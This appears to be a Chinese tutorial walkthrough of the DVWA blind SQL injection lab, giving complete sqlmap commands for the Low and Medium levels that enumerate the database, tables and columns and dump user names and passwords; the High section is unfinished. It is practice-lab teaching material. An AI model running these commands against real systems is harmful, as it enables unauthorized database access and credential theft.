Dvwa靶场-SQL Injection (Blind)-基于sqlmap

一、Low

(1)、获取数据库名

sqlmap -u "你的URL" --cookie="你的Cookie" --current-db --current-user --batch

-u "URL":这个url是你主机里的ip,如果你的靶场在虚拟机,那你就打开虚拟机,找到ip,然后加端口号,和你打开dvwa的sql盲注url差不多,只用改前面一点

--cookie:在dvwa页面--> F12 --> 应用 --> Cookie --> PHPSESSID后面的值

--current-db:获取当前网站所连接的数据库名称。

--current-user:获取当前连接数据库的用户名。

--batch (Automation)自动模式。SQLmap 在运行中会弹出很多确认选项(例如:"是否进行深度测试?")。加上这个参数后,工具将全部选择默认(Yes),实现无人值守的自动化运行。

复制代码
sqlmap -u "http://192.168.136.1:8899/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=2adqjdfiaqk26u1hh84ko162t6; security=low" --current-db --current-user --batch

(2)、获取表名

复制代码
sqlmap -u "http://192.168.136.1:8899/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=2adqjdfiaqk26u1hh84ko162t6; security=low" -D dvwa --tables --batch

-D 参数用来指定你要查看的具体数据库。

--tables获取当前数据库下的表名

(3)、获取列名

复制代码
sqlmap -u "http://192.168.136.1:8899/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=2adqjdfiaqk26u1hh84ko162t6; security=low" -D dvwa -T users --columns --batch

-T 参数用来指定具体的表名

--columns获取指定表的列名

(4)、获取具体数据(脱库)

复制代码
sqlmap -u "http://192.168.136.1:8899/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=2adqjdfiaqk26u1hh84ko162t6; security=low" -D dvwa -T users -C "user,password" --dump --batch

-C 用来指定列名,用逗号隔开。如果不指定 -C,只用 --dump,它会把整张表全部下载下来。

二、Medium

复制代码
sqlmap -u "http://192.168.136.1:8899/vulnerabilities/sqli_blind/" \
--cookie="PHPSESSID=2adqjdfiaqk26u1hh84ko162t6; security=medium" \
--data="id=1&Submit=Submit" \
--current-db --current-user --batch

URL 变化:去掉了 URL 问号后面的参数,因为中级通过 POST 传参。

增加 --data:这是关键。--data="id=1&Submit=Submit" 告诉 sqlmap 模拟表单提交,将数据放在 HTTP 请求体中。

Cookie 级别:确保 security=medium,否则服务器会按照默认或之前的难度处理请求。

中级虽然过滤了单引号,但 id 参数在 SQL 语句中通常是数字型(如 SELECT ... WHERE id = $id)。sqlmap 会自动识别这一点并尝试数字型注入(Numeric-based Injection),这种注入方式根本不需要使用单引号,因此后端的过滤措施在中级难度下对 sqlmap 基本无效。

后面的步骤同Low

三、High

先欠着,有时间想起来这个了,再来完善它,想不起来就算了

相关推荐
大眼、不聚光37 分钟前
5.mysql--主从同步安装部署
数据库·mysql
Yan_chen6661 小时前
SQL-LABS_Less18-20实战攻略
数据库·sql·web安全·网络安全
oradh1 小时前
Oracle RAC OCR维护操作总结
数据库·oracle·ocr·rac ocr维护·ocr维护·vote disk
snow@li2 小时前
HikariCP:高性能数据库连接池全景深入梳理
java·数据库
一个天蝎座的程序猿3 小时前
传统数据库迁金仓KES,空值问题差点让财务报表翻车
数据库
wWYy.3 小时前
Mysql:索引下推
数据库·mysql
风123456789~4 小时前
【Oracle专栏】ORA-02069: global_names 参数
数据库·oracle
ningmengjing_4 小时前
Redis 从入门到实战:Python操作全攻略
数据库·redis·python
笨鸟先飞,勤能补拙5 小时前
AI 安全的下一个 5 年:从 Agent 到 AGI 的攻防博弈
人工智能·python·安全·web安全·网络安全·github·agi
隔窗听雨眠5 小时前
OceanBase旁路导入与自增主键冲突深度解析:原理、排查与解决方案
java·服务器·数据库